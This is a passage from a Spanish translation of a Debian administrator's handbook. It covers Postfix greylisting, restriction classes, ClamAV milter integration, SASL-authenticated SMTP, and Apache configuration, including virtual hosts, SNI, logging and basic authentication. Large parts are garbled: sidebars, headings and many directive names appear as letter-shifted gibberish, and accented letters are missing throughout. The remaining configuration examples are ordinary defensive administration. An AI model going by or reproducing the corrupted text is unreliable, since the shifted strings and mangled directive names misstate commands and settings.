IPSBT IBTUB RVF MB USBOTNJTJO TFB JOUFOUBEB QPS VO TFSWJEPS RVF ZB FTUVWP
JOWPMVDSBEP ZB RVF MPT TFSWJEPSFT 4.51 HFOFSBMNFOUF BVNFOUBO MB EFNPSB
FOUSF JOUFOUPT DVBOEP TUPT GBMMBO
$PNP DPOTFDVFODJB MB EJSFDDJO *1 QVFEF DBNCJBS FO FM UJFNQP BO QBSB VO
SFNJUFOUF QBSUJDVMBS 1FSP IBZ NT MB EJSFDDJO EFM SFNJUFOUF UBNCJO QVFEF
DBNCJBS 1PS FKFNQMP NVDIPT TFSWJEPSFT EF MJTUBT EF DPSSFP DPEJGJDBO JOGPS
NBDJO FYUSB FO MB EJSFDDJO EFM SFNJUFOUF QBSB QPEFS HFTUJPOBS NFOTBKFT EF
FSSPS DPOPDJEPT DPNP kCPVODFT{
 -VFHP QVFEF RVF DBEB OVFWP NFOTBKF FO
WJBEP B VOB MJTUB EF DPSSFP OFDFTJUF QBTBS QPS MBT MJTUBT HSJTFT MP RVF TJHOJGJDB
RVF EFCF TFS BMNBDFOBEP UFNQPSBMNFOUF
FO FM TFSWJEPS EFM SFNJUFOUF 1BSB
MJTUBT EF DPSSFP NVZ HSBOEFT DPO EFDFOBT EF NJMFT EF TVTDSJQUPT
FTUP QVFEF
DPOWFSUJSTF FO VO QSPCMFNB SQJEBNFOUF
1BSB NJUJHBS FTUBT EFTWFOUBKBT 1PTUHSFZ HFTUJPOB MJTUBT CMBODBT EF UBMFT TJUJPT
Z MPT NFOTBKFT RVF QSPWFOHBO EF FMMBT TPO BDFQUBEPT JONFEJBUBNFOUF TJO
QBTBS B USBWT EF MBT MJTUBT HSJTFT 1VFEF BEBQUBS FTUB MJTUB GDJMNFOUF B TVT
OFDFTJEBEFT MPDBMFT ZB RVF TF FODVFOUSB BMNBDFOBEB FO FM BSDIJWP /etc/
postgrey/whitelist_clients

:&/%0 .4 "--
-JTUBT HSJTFT TFMFDUJWBT DPO
NJMUFSHSFZMJTU

5BNCJO QVFEF FWJUBS MPT JODPOWFOJFOUFT EF MBT MJTUBT HSJTFT TMP VUJMJ[OEPMBT
FO FM TVCDPOKVOUP EF DMJFOUFT RVF ZB TPO DPOTJEFSBEPT DPNP GVFOUFT QSPCBCMFT
EF TQBN QPSRVF TF FODVFOUSBO FO VOB MJTUB OFHSB EF %/4
 &TUP OP FT QPTJCMF
DPO QPTUHSFZ QFSP QVFEF VUJMJ[BS NJMUFSHSFZMJTU EF FTB GPSNB
&O FTUF FTDFOBSJP EFCJEP B RVF VOB MJTUB OFHSB EF %/4 OVODB HFOFSB VO SFDIB
[P EFGJOJUJWP FT SB[POBCMF VUJMJ[BS MJTUBT OFHSBT EF %/4 BHSFTJWBT JODMVZFOEP
BRVFMMBT RVF JODMVZFO UPEBT MBT EJSFDDJPOFT *1 EJONJDBT EF DMJFOUFT EF *41T
DPNP pbl.spamhaus.org P dul.dnsbl.sorbs.net




&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

$PNP NJMUFSHSFZMJTU VUJMJ[B MB JOUFSGB[ EF NJMUFS EF 4FOENBJM MB DPOGJHVSBDJO


EFM MBEP EF QPTUGJY TF MJNJUB B ksmtpd_milters =unix:/var/milter-greylist/
milter-greylist.sock{ -B QHJOB EF NBOVBM greylist.conf(5) EPDVNFO
UB /etc/milter-greylist/greylist.conf Z MBT NVDIBT GPSNBT EF DPOGJHVSBS
NJMUFSHSFZMJTU

 1FSTPOBMJ[BDJO EF GJMUSPT CBTBEPT FO FM SFDFQUPS


Las ltimas dos secciones revisaron muchas de las restricciones posibles. Todas son tiles para
limitar la cantidad de spam recibido, pero tambin tienen su desventajas. Por lo tanto, es ms y
ms comn, personalizar el conjunto de filtros segn el receptor. En Falcot Corp, las listas grises
son interesantes para la mayora de los usuarios pero entorpece el trabajo de algunos usuarios
que necesitan una latencia baja en sus correos (como el servicio de soporte tcnico). De forma
similar, el servicio comercial a veces tiene problemas para recibir correos de algunos proveedores asiticos que pueden encontrarse en listas negras; este servicio solicit una direccin sin
filtros para poder intercambiar correspondencia.
Postfix provee tal personalizacin de filtros con el concepto de clases de restriccin. Declarar
las clases en el parmetro TNUQE@SFTUSJDUJPO@DMBTTFT de la misma forma que TNUQE@SFDJQJFOU@
SFTUSJDUJPOT. La directiva DIFDL@SFDJQJFOU@BDDFTT define luego una tabla que asocia un receptor
dado con el conjunto de restricciones apropiadas.
&KFNQMP 

%FGJOJDJO EF DMBTFT EF SFTUSJDDJO FO main.cf

smtpd_restriction_classes = greylisting, aggressive, permissive


greylisting = check_policy_service inet:127.0.0.1:10023
aggressive = reject_rbl_client sbl-xbl.spamhaus.org,
check_policy_service inet:127.0.0.1:10023
permissive = permit
smtpd_recipient_restrictions = permit_mynetworks,
reject_unauth_destination,
check_recipient_access hash:/etc/postfix/recipient_access

&KFNQMP 

&M BSDIJWP /etc/postfix/recipient_access

# Direcciones sin filtro


postmaster@falcot.com permissive
support@falcot.com
permissive
sales-asia@falcot.com permissive
# Filtros agresivos para algunos usuarios privilegiados
joe@falcot.com
aggressive

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



# Regla especial para el administrador de la lista de correos


sympa@falcot.com
reject_unverified_sender
# Listas grises de forma predeterminada
falcot.com
greylisting

 *OUFHSBDJO DPO VO BOUJWJSVT


La cantidad de virus circulando como adjuntos de correos hace importante configurar un antivirus en el punto de entrada de la red corporativa, ya que a pesar de una campaa de concientizacin, algunos usuarios an abriran los adjuntos de mensajes obviamente sospechosos.
Los administradores de Falcot seleccionaro clamav como su antivirus libre. El paquete principal
es clamav, pero tambien instalaron algunos paquetes adicionales como arj, unzoo, unrar y lha ya
que son necesarios para que el antivirus analice archivos adjuntos en alguno de estos formatos.
La tarea de interactuar entre el antivirus y el servidor de correo le corresponde a clamavmilter. Un milter (apcope de filtro de correo: mail filter) es un programa de filtrado
diseado especialmente para interactuar con servidores de correo. Un milter utiliza una interfaz de programacin de aplicaciones (API: Application Programming Interface) que provee un
rendimiento mucho mejor que los filtros ajenos a los servidores de correo. Sendmail introdujo
inicialmente a los milters, pero Postfix los implement poco despus.
7*45" 31*%"
6O NJMUFS QBSB 4QBNBTTBTTJO

&M QBRVFUF TQBNBTTNJMUFS QSPWFF VO NJMUFS CBTBEP FO 4QBN"TTBTTJO FM GBNPTP


EFUFDUPS EF DPSSFP OP EFTFBEP 1VFEF VUJMJ[BSMP QBSB NBSDBS NFOTBKFT DPNP
QSPCBCMF TQBN BHSFHBOEP VOB DBCFDFSB BEJDJPOBM
ZP SFDIB[BS FM NFOTBKF
DPNQMFUBNFOUF TJ TV kQVOUBKF EF TQBN{ TVQFSB DJFSUP MNJUF

Una vez que instal el paquete clamav-milter, debera reconfigurar el milter para que ejecute en
un puerto TCP en lugar del zcalo con nombre predeterminado. Puede lograr esto ejecutando
dpkg-reconfigure clamav-milter. Cuando se le pregunte por la Interfaz de comunicacin
con Sendmail, responda JOFU!.
/05"
1VFSUP 5$1 SFBM DPOUSB
[DBMP DPO OPNCSF

-B SB[O QPS MB RVF VUJMJ[BNPT VO QVFSUP 5$1 SFBM FO MVHBS EFM [DBMP DPO
OPNCSFT FT RVF MPT EFNPOJPT QPTUGJY HFOFSBMNFOUF FKFDVUBO FO VO DISPPU Z
OP UJFOFO BDDFTP BM EJSFDUPSJP RVF DPOUJFOF FM [DBMP DPO OPNCSF &O DBTP RVF
EFDJEB VUJMJ[BS FM [DBMP DPO OPNCSF VUJMJDF VOB VCJDBDJO EFOUSP EFM DISPPU
/var/spool/postfix/


La configuracin estndar de ClamAV se ajusta a la mayora de las situaciones, pero puede personalizar algunos parmetros importantes con dpkg-reconfigure clamav-base.
El ltimo paso involucra decirle a Postfix que utilice el filtro recientemente configurado. Esto
es tan simple como agregar la siguiente directiva a /etc/postfix/main.cf:



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# Revisin de virus con clamav-milter


smtpd_milters = inet:[127.0.0.1]:10002

Si el antivirus causa problema, puede comentar esta lnea; deber ejecutar /etc/init.d/post
fix reload para que se tenga en cuenta el cambio.
&/ -" 13$5*$"
1SVFCB EFM BOUJWJSVT

6OB WF[ RVF DPOGJHVS FM BOUJWJSVT EFCF QSPCBS RVF GVODJPOB DPSSFDUBNFOUF
-B GPSNB NT TJNQMF EF IBDFSMP FT FOWJBS VO DPSSFP EF QSVFCB DPO VO BEKVOUP
RVF DPOUFOHB FM BSDIJWP eicar.com P eicar.com.zip
RVF QVFEF EFTDBSHBS
http://www.eicar.org/anti_virus_test_file.htm

&TUF BSDIJWP OP FT VO WJSVT SFBM TJOP VO BSDIJWP EF QSVFCB RVF UPEP TPXBSF
BOUJWJSVT FO FM NFSDBEP EJBHOPTUJDB DPNP VO WJSVT QBSB QPEFS QSPCBS JOTUBMB
DJPOFT

Todos los mensajes gestionados por Postfix ahora pasarn a travs del filtro antivirus.

 4.51 BVUFOUJDBEP


Poder enviar correos necesita que pueda acceder al servidor SMTP; tambin requiere que dicho
servidor SMTP permita enviar correos. Para usuarios mviles, que pueden necesitar cambiar la
configuracin de su cliente SMTP regularmente ya que el servidor SMTP de Falcot rechaza los
mensajes que provienen de direcciones IPs que no parecen pertenecer a la compaa. Existen
dos soluciones: o bien los usuarios mviles instalan un servidor SMTP en sus equipos o utilizan el
servidor de la compaa con alguna forma de autenticarse como empleados. No se recomienda
la primera solucin ya que el equipo no estar conectado permanentemente y no podr volver
a intentar enviar mensajes en caso de problemas; nos enfocaremos en la ltima solucin.
La autenticacin SMTN en Postfix depende de SASL (capa de seguridad y autenticacin simple:
Simple Authentication and Security Layer). Necesitar instalar los paquetes libsasl2-modules y
sasl2-bin, y luego registrar una contrasea en la base de datos SALS para cada usuario que necesite autenticarse en el servidor SMTP. Puede hacerlo con el programa saslpasswd2 que toma
varios parmetros. La opcin V define el dominio de autenticacin, que debe coincidir con el
parmetro TNUQE@TBTM@MPDBM@EPNBJO en la configuracin de Postfix. La opcin D permite crear
un usuario y la opcin G permite especificar el archivo a utilizar si necesita almacenar la base
de datos SALS en una ubicacin diferente a la predeterminada (/etc/sasldb2).
# saslpasswd2 -u `postconf -h myservidor` -f /var/spool/postfix/etc/sasldb2 -c jean
[... ingrese la contrasea de jean dos veces ...]

Note que se cre la base de datos SASL en el directorio de Postfix. Para poder asegurar consistencia, tambin convertimos /etc/sasldb2 en un enlace simblico que apunta a la base de datos
utilizada por Postfix con ln -sf /var/spool/postfix/etc/sasldb2 /etc/sasldb2.
Ahora necesitamos configurar Postfix para que utilice SASL. Primero necesita agregar al usuario
QPTUGJY al grupo TBTM para que pueda acceder a la base de datos SASL. Tambin necesitar agregar

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



algunos parmetros nuevos para activar SASL y necesita configurar el parmetro TNUQE@SFDJQ
JFOU@SFTUSJDUJPOT para permitir que los clientes autenticados por SASL puedan enviar correos
libremente.
&KFNQMP 

"DUJWBDJO EF 4"4- FO /etc/postfix/main.cf

# Activar autenticacin SASL


smtpd_sasl_auth_enable = yes
# Definir el dominio de autenticacin SASL
smtpd_sasl_local_domain = $myhostname
[...]
# Agregar permit_sasl_authenticated antes de reject_unauth_destination
# permite reenviar correos enviados por usuarios autenticados por SASL
smtpd_recipient_restrictions = permit_mynetworks,
permit_sasl_authenticated,
reject_unauth_destination,
[...]

&953"
$MJFOUF 4.51 BVUFOUJDBEP

-B NBZPSB EF MPT DMJFOUFT EF DPSSFP QVFEFO BVUFOUJDBSTF DPO VO TFSWJEPS


4.51 BOUFT EF FOWJBS NFOTBKFT Z VUJMJ[BS FTUB GVODJPOBMJEBE FT UBO TJNQMF
DPNP DPOGJHVSBS MPT QBSNFUSPT BQSPQJBEPT 4J FM DMJFOUF VUJMJ[BEP OP QSPWFF
FTUB GVODJPOBMJEBE QVFEF VUJMJ[BS VO TFSWJEPS 1PTUGJY MPDBM Z DPOGJHVSBSMP QBSB
SFFOWJBS FM DPSSFP B USBWT EF VO TFSWJEPS 4.51 SFNPUP &O FTUF DBTP FM 1PTU
GJY MPDBM TFS FM DMJFOUF RVF TF BVUFOUJDB DPO 4"4- &TUPT TPO MPT QBSNFUSPT
OFDFTBSJPT
smtp_sasl_auth_enable = yes
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
relay_host = [mail.falcot.com]

&M BSDIJWP /etc/postfix/sasl_passwd OFDFTJUB DPOUFOFS FM OPNCSF EF VTVBS


JPT Z MB DPOUSBTFB B VUJMJ[BS QBSB BVUFOUJDBSTF FO FM TFSWJEPS mail.falcot.
com 1PS FKFNQMP
[mail.falcot.com]

joe:LyinIsji

$PNP FO UPEPT MPT BSDIJWPT EF BTPDJBDJO EF 1PTUGJY EFCF DPOWFSUJS FTUF BSDIJ
WP FO /etc/postfix/sasl_passwd.db DPO FM QSPHSBNB postmap

 4FSWJEPS XFC )551

Los administradores de Falcot Corp decidieron utilizar el servidor HTTP Apache, cuya versin
2.2.22 est incluido en Debian Wheezy.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

"-5&3/"5*7"
0USPT TFSWJEPSFT XFC

"QBDIF FT TJNQMFNFOUF FM TFSWJEPS XFC NT DPOPDJEP Z NT VUJMJ[BEP


QFSP
FYJTUFO PUSPT QVFEFO PGSFDFO NFKPS SFOEJNJFOUP CBKP DJFSUPT UJQPT EF DBSHB
QFSP UJFOFO MB EFTWFOUBKB EF VOB NFOPS DBOUJEBE EF GVODJPOBMJEBE Z NEVMPT
EJTQPOJCMFT 4JO FNCBSHP DVBOEP FM TFSWJEPS XFC FO DPOTJEFSBDJO FT QBSB
QSPWFFS BSDIJWPT FTUUJDPT P GVODJPOBS DPNP QSPYZ WBMF MB QFOB JOWFTUJHBS MBT
BMUFSOBUJWBT DPNP OHJOY Z MJHIQE

 *OTUBMBDJO EF "QBDIF


De forma predeterminada, la instalacin del paquete apache2 hace que tambin se instale la versin apache2-mpm-worker de Apache. El paquete apache2 es una coraza vaca que slo sirve para
asegurar que est instalada alguna de las versiones de Apache.
Las diferencias entre las variantes de Apache 2 se concentran en la poltica utilizada para gestionar el procesamiento en paralelo de muchos pedidos; esta poltica esta implementada por un
MPM (abreviacin de mdulo de multiprocesamiento: Multi-Processing Module). Entre los MPMs
disponibles, apache-mpm-worker utiliza hilos (procesos livianos) mientras que apache-mpm-prefork
utiliza un conjunto de proceso creados por adelantado (la forma tradicional y la nica disponible
en Apache 1.3). apache2-mpm-event tambin utiliza hilos, pero terminan antes, cuando la conexin slo contina abierta debido a la funcionalidad keep-alive de HTTP.
Los administradores de Falcot tambin instalan libapache2-mod-php5 para incluir la compatibilidad con PHP de Apache. Esto causa que se elimine apache2-mpm-worker y se instale en su lugar
apache2-mpm-prefork ya que PHP slo funciona bajo ese MPM particular.
4&(63*%"%
&KFDVDJO CBKP FM VTVBSJP
www-data

%F GPSNB QSFEFUFSNJOBEB "QBDIF BENJOJTUSB UPEBT MBT QFUJDJPOFT FOUSBOUFT


CBKP MB JEFOUJEBE EFM VTVBSJP www-data &TUP TJHOJGJDB RVF FO DBTP EF VOB WVM
OFSBCJMJEBE EF TFHVSJEBE FO VO TDSJQU $(* FKFDVUBEP QPS "QBDIF QBSB VOB
QHJOB EJONJDB
OP TF DPNQSPNFUFS UPEP FM TJTUFNB TJOP TMP MPT BSDIJWPT
RVF TPO QSPQJFEBE EF FTUF VTVBSJP FO QBSUJDVMBS
-PT NEVMPT TVFYFD QFSNJUFO FWJUBS FTUB MJNJUBDJO QBSB RVF BMHVOPT TDSJQUT
$(* FKFDVUFO CBKP MB JEFOUJEBE EF PUSPT VTVBSJPT 1VFEF DPOGJHVSBSMP DPO MB
EJSFDUJWB SuexecUserGroup usuario grupo FO MB DPOGJHVSBDJO EF "QBDIF
0USB QPTJCJMJEBE FT VUJMJ[BS VO .1. EFEJDBEP DPNP FM RVF QSPWFF FM QBRVF
UF BQBDIFNQNJUL &TUF .1. FO QBSUJDVMBS UJFOF VO DPNQPSUBNJFOUP MJH
FSBNFOUF EJGFSFOUF QFSNJUF kBJTMBS{ MPT TFSWJEPSFT WJSUVBMFT kWJSUVBM IPTUT{

QBSB RVF DBEB VOP FKFDVUF DPNP VO VTVBSJP EJGFSFOUF 1PS MP UBOUP VOB WVMOFS
BCJMJEBE FO VO TJUJP XFC OP QVFEF DPNQSPNFUFS MPT BSDIJWPT RVF QFSUFOFDFO
BM EVFP EF PUSP TJUJP XFC

7*45" 31*%"
-JTUB EF NEVMPT

1VFEF FODPOUSBS MB MJTUB DPNQMFUB EF MPT NEVMPT FTUOEBS EF "QBDIF FO TV


TJUJP XFC
http://httpd.apache.org/docs/2.2/mod/index.html

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



Apache es un servidor modular y mucha funcionalidad est implementada por mdulos externos que el programa principal carga durante su inicializacin. La configuracin predeterminada slo activa los mdulos ms comunes, pero activar nuevos mdulos es tan simple como ejecutar a2enmod mdulo; similarmente, podr desactivar un mdulo ejecutando
a2dismod mdulo. En realidad, estos programas slo crean (o eliminan) enlaces simblicos
en /etc/apache2/mods-enabled/ que apuntan a los archivos en s (almacenados en /etc/
apache2/mods-available/).
Con su configuracin predeterminada, el servidor web escuchar en el puerto 80 (segn se encuentra configurado en /etc/apache2/ports.conf) y servir pginas del directorio /var/www/
(segn se encuentra configurado en /etc/apache2/sites-enabled/000-default).
:&/%0 .4 "--
$PNQBUJCJMJEBE DPO 44-

"QBDIF  BT DPNP WJFOF JODMVZF FM NEVMP 44- OFDFTBSJP QBSB )551 TFHVSP
)5514
 4MP OFDFTJUB BDUJWBSMP DPO a2enmod ssl Z MVFHP BHSFHBS MBT EJSFDUJ
WBT OFDFTBSJBT B MPT BSDIJWPT EF DPOGJHVSBDJO 1VFEF FODPOUSBS VO BSDIJWP EF
DPOGJHVSBDJO EF FKFNQMP FO /usr/share/doc/apache2.2-common/examples/
apache2/extra/httpd-ssl.conf.gz
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html

%FCF UFOFS DJFSUPT DVJEBEPT BEJDJPOBMFT TJ QSFGJFSF DPOFYJPOFT 44- DPO k1FS
GFDU 'PSXBSE 4FDSFDZ{ TFDSFUP QFSGFDUP B GVUVSP EPOEF MBT DPOFYJPOFT VUJMJ[BO
MMBWFT FGNFSBT FO DBEB TFTJO BTFHVSOEPTF RVF TJ TF DPNQSPNFUF MB MMBWF
QSJWBEB EFM TFSWJEPS OP TJHOJGJRVF RVF TF IBZB DPNQSPNFUJEP UPEP FM USGJDP
BOUJHVP RVF QVFEF IBCFSTF BMNBDFOBEP EFTEF MB SFE
 &O QBSUJDVMBS SFWJTF MBT
SFDPNFOEBDJPOFT EF .P[JMMB
https://wiki.mozilla.org/Security/Server_Side_TLS#Apache

 $POGJHVSBDJO EF TFSWJEPSFT WJSUVBMFT kWJSUVBM IPTUT{

Un servidor virtual es una identidad adicional para el servidor web.


Apache considera dos tipos distintos de servidores virtuales: aquellos basados en la direccin
IP (o puerto) y aquellos basados en el nombre de dominio del servidor web. El primer mtodo
requiere reservar una direccin IP (o puerto) diferente para cada sitio, mientras que el segundo
puede funcionar en slo una direccin IP (y puerto) y se diferencian los sitios por el nombre
enviado por el cliente HTTP (que slo funciona en la versin 1.1 del protocolo HTTP afortunadamente esta versin es suficientemente antigua para que todos los clientes ya lo utilicen).
La escasez (creciente) de direcciones IPv4 generalmente favorece el segundo mtodo; sin embargo, es ms complejo si los servidores virtuales tambin necesitan proveer HTTPS ya que el
protocolo SSL no siempre se adecu a los servidores virtuales basados en nombres; no todos
los navegadores son compatibles con la extensin SNI (indicacin de nombre de servidor: Server
Name Indication) que permite esta combinacin. Cuando varios sitios HTTPS necesitan ejecutar en el mismo servidor, generalmente se diferenciarn bien por ejecutar en un puerto o en
una direccin IP diferente (IPv6 puede ayudar).
La configuracin predeterminada de Apache 2, activa servidores virtuales basados en nombre
(con la directiva /BNF7JSUVBM)PTU  en el archivo /etc/apache2/ports.conf). Adems,



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

define un servidor virtual predeterminado en el archivo FUDBQBDIFTJUFTFOBCMFEEFGB


JMU; utilizar este servidor virtual si no se encuentra ningn servidor que coincida con el pedido
enviado por el cliente.
13&$"6$*/
1SJNFS TFSWJEPS WJSUVBM

-PT QFEJEPT RVF JOWPMVDSFO VO TFSWJEPS WJSUVBM EFTDPOPDJEP TJFNQSF TFSO HFT
UJPOBEPT QPS FM QSJNFS TFSWJEPS WJSUVBM EFGJOJEP SB[O QPS MB RVF EFGJOJNPT BMM
B www.falcot.com

7*45" 31*%"
$PNQBUJCJMJEBE 4/* EF
"QBDIF

&M TFSWJEPS "QBDIF FT DPNQBUJCMF DPO MB FYUFOTJO EFM QSPUPDPMP 44- MMBNBEB
JOEJDBDJO EF OPNCSF EF TFSWJEPS 4/* k4FSWFS /BNF *OEJDBUJPO{
 &TUB FY
UFOTJO QFSNJUF BM OBWFHBEPS FOWJBS FM OPNCSF EFM TFSWJEPS XFC EVSBOUF FM
FTUBCMFDJNJFOUP EF MB DPOFYJO 44- NVDIP BOUFT EFM QFEJEP )551 FO T MP
RVF BOUFT VUJMJ[BCB QBSB JEFOUJGJDBS FM TFSWJEPS WJSUVBM QFEJEP FOUSF BRVFMMPT
RVF TF FODVFOUSBO FO FM NJTNP TFSWJEPS DPO MB NJTNB EJSFDDJO *1 Z QVFSUP

&TUP MF QFSNJUF B "QBDIF TFMFDDJPOBS FM DFSUJGJDBEP 44- BQSPQJBEP QBSB RVF
DPOUJOF MB USBOTBDDJO
"OUFT EF 4/* "QBDIF TJFNQSF QSPWFB FM DFSUJGJDBEP DPOGJHVSBEP FO FM TFSWJEPS
WJSUVBM QSFEFUFSNJOBEP -PT DMJFOUFT RVF JOUFOUBCBO BDDFEFS B PUSPT TFSWJEPSFT
WJSUVBMFT SFDJCJSBO BEWFSUFODJBT ZB RVF FM DFSUJGJDBEP RVF SFDJCJFSPO OP DPJO
DJEB DPO FM TJUJP XFC RVF FTUBCBO JOUFOUBOEP BDDFEFS "GPSUVOBEBNFOUF MB
NBZPSB EF MPT OBWFHBEPSFT BIPSB VUJMJ[BO 4/* FTUP JODMVZF .JDSPTP *OUFS
OFU &YQMPSFS B QBSUJS EF MB WFSTJO  DPNFO[BOEP DPO 7JTUB
.P[JMMB 'JSFGPY
EFTEF MB WFSTJO  "QQMF 4BGBSJ EFTEF MB WFSTJO  Z UPEBT MBT WFSTJPOFT
EF (PPHMF $ISPNF
&M QBRVFUF "QBDIF QSPWJTUP QPS %FCJBO FT DPNQJMBEP DPO MB DPNQBUJCJMJEBE
QBSB 4/* OP OFDFTJUB OJOHVOB DPOGJHVSBDJO QBSUJDVMBS BEFNT EF BDUJWBS MPT
TFSWJEPSFT WJSUVBMFT CBTBEPT FO OPNCSF FO FM QVFSUP  44-
BEFNT EFM VTV
BM FO FM QVFSUP  &TUP FT UBO TJNQMF DPNP FEJUBS FM BSDIJWP /etc/apache2/
ports.conf QBSB RVF JODMVZB MP TJHVJFOUF
<IfModule mod_ssl.c>
NameVirtualHost *:443
Listen 443
</IfModule>

5BNCJO EFCF UFOFS DVJEBEP EF BTFHVSBS RVF MB DPOGJHVSBDJO EFM QSJNFS TFSWJ
EPS WJSUVBM FM VUJMJ[BEP EF GPSNB QSFEFUFSNJOBEB
UFOHB 5-4W BDUJWP EFCJEP
B RVF "QBDIF VUJMJ[B MPT QBSNFUSPT EF FTUF QSJNFS TFSWJEPS WJSUVBM QBSB FT
UBCMFDFS DPOFYJPOFT TFHVSBT Z aEFCFSB QFSNJUJSMP

Luego puede describir cada servidor virtual adicional con un archivo almacenado en /etc/
apache2/sites-available/. La configuracin de un sitio web para el dominio GBMDPUPSH es
tan simple como crear el siguiente archivo y luego habilitar el servidor virtual con a2ensite
www.falcot.org.
&KFNQMP 

&M BSDIJWP /etc/apache2/sites-available/www.falcot.org

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



<VirtualHost *:80>
ServerName www.falcot.org
ServerAlias falcot.org
DocumentRoot /srv/www/www.falcot.org
</VirtualHost>

El servidor Apache, como est configurado hasta ahora, utiliza los mismos archivos de registro
para todos los servidores virtuales (puede cambiarlo agregando directivas $VTUPN-PH en las
definiciones de servidores virtuales). Por lo tanto, tiene sentido personalizar el formato de este
archivo de registro para incluir el nombre del servidor virtual. Puede hacerlo creando un archivo /etc/apache2/conf.d/customlog que define un nuevo formato para todos los archivos de
registro (con la directiva -PH'PSNBU). Tambin debe eliminar (o comentar) la lnea $VTUPN-PH
del archivo /etc/apache2/sites-available/default.
&KFNQMP 

&M BSDIJWP /etc/apache2/conf.d/customlog

# Nuevo formato de registro que incluye el nombre del servidor (virtual)


LogFormat " %v %h %l %u %t \" %r\" %>s %b \" %{Referer}i\" \" %{User-Agent}i\"" vhost
# Ahora utilicemos este formato de forma predeterminada
CustomLog /var/log/apache2/access.log vhost

 %JSFDUJWBT DPNVOFT


Esta seccin revisa brevemente alguna de las directivas de configuracin de Apache ms utilizadas.
El archivo de configuracin principal generalmente incluye varios bloques %JSFDUPSZ que permiten diferentes comportamientos del servidor dependiendo de la ubicacin del archivo que
est proveyendo. Tales bloques usualmente incluyen directivas 0QUJPOT y "MMPX0WFSSJEF.
&KFNQMP 

#MPRVF %JSFDUPSZ

<Directory /var/www>
Options Includes FollowSymlinks
AllowOverride All
DirectoryIndex index.php index.html index.htm
</Directory>

La directiva %JSFDUPSZ*OEFY contiene una lista de archivos a intentar cuando el pedido del
cliente es un directorio. El primer archivo de la lista que exista ser utilizado y enviado como
respuesta.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

La directiva 0QUJPOT debe seguirse de una lista de opciones a activar. El valor /POF desactiva todas las opciones; correspondientemente, "MM las activa todas excepto .VMUJ7JFXT. Las opciones
disponibles incluyen:

&YFD$(* indica que puede ejecutar scripts CGI.


'PMMPX4ZNMJOLT le dice al servidor que puede seguir los enlaces simblicos y que la respuesta debe contener el contenido del objetivo de dichos enlaces.
4ZNMJOLT*G0XOFS.BUDI tambin le indica al servidor que siga los enlaces simblicos,
pero slo cuando el enlace y su objetivo tengan el mismo dueo.
*ODMVEFT activa inclusiones del lado del servidor (SSI: Server Side Includes). Estas directivas
se encuentran en las pginas HTML y son ejecutadas en el momento de cada pedido.
*OEFYFT le indica al servidor que provea una lista del contenido de los directorios si el
pedido HTTP del cliente apunta a un directorio sin un archivo de ndice (es decir, que no
existe en l ninguno de los archivos enumerados en la directiva %JSFDUPSZ*OEFY).
.VMUJ7JFXT activa la negociacin de contenido; el servidor puede utilizar esto para
proveer una pgina web que utilice el idioma preferido configurado en el navegador.
70-7&3 " -04
$*.*&/504
"SDIJWP .htaccess

&M BSDIJWP .htaccess DPOUJFOF EJSFDUJWBT EF DPOGJHVSBDJO EF "QBDIF RVF BQMJ


DBO DBEB WF[ RVF VO QFEJEP JOWPMVDSB VO FMFNFOUP EFM EJSFDUPSJP FO FM RVF TF
FODVFOUSB FTUF BSDIJWP &M BMDBODF EF FTUBT EJSFDUJWBT UBNCJO JODMVZF B TVT
TVCEJSFDUPSJPT
-B NBZPSB EF MBT EJSFDUJWBT RVF QVFEFO PDVSSJS FO VO CMPRVF Directory UBN
CJO TPO WMJEBT FO VO BSDIJWP .htaccess

La directiva "MMPX0WFSSJEF enumera todas las opciones que pueden ser activadas o desactivadas
en un archivo .htaccess. Un uso comn de esta opcin es restringir &YFD$(* para que los
administradores puedan elegir los usuarios que podrn ejecutar programas bajo la identidad
del servidor web (el usuario XXXEBUB).

"VUFOUJDBDJO PCMJHBUPSJB
En algunas cirucunstancia necesitar restringir el acceso a partes de un sitio web, de forma que
slo usuarios legtimos que provean un nombre de usuario y una contrasea tengan acceso al
contenido.
&KFNQMP 

"SDIJWP .htaccess QBSB BVUFOUJDBDJO PCMJHBUPSJB

Require valid-user
AuthName "Private directory"
AuthType Basic
AuthUserFile /etc/apache2/authfiles/htpasswd-private

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



4&(63*%"%
4JO TFHVSJEBE

&M TJTUFNB EF BVUFOUJDBDJO VUJMJ[BEP FO FM FKFNQMP BOUFSJPS Basic


UJFOF VOB
TFHVSJEBE NOJNB ZB RVF TF FOWB MB DPOUSBTFB FO UFYUP QMBOP DPEJGJDBEB
TMBNFOUF DPO CBTF RVF FT TMP VOB DPEJGJDBDJO OP VO NUPEP EF DJGSBEP

5BNCJO EFCF TBCFS RVF MPT EPDVNFOUPT kQSPUFHJEPT{ QPS FTUF NFDBOJTNP
UBNCJO TPO FOWJBEPT TJO DJGSBS B USBWT EF MB SFE 4J MB TFHVSJEBE FT JNQPS
UBOUF EFCF DJGSBS MB DPOFYJO )551 DPNQMFUB DPO 44-

El archivo /etc/apache2/authfiles/htpasswd-private contiene una lista de usuarios y contraseas; usualmente lo manipular con el programa htpasswd. Por ejemplo, ejecute lo siguiente
para agregar un usuario o cambiar su contrasea:
# htpasswd /etc/apache2/authfiles/htpasswd-private usuario
New password:
Re-type new password:
Adding password for user usuario

3FTUSJDDJO EF BDDFTP
Las directivas "MMPX GSPN y %FOZ GSPN controlan las restricciones de acceso a un directorio (y
sus subdirectorios de forma recursiva).
La directiva 0SEFS le indica al servidor el orden en el que aplicar las directivas "MMPX GSPN y
%FOZ GSPN; la ltima que coincida tiene precedencia. En trminos concretos, 0SEFS EFOZ BMMPX
permite acceso si no coincide ninguna regla %FOZ GSPN o si coincide una directiva "MMPX GSPN.
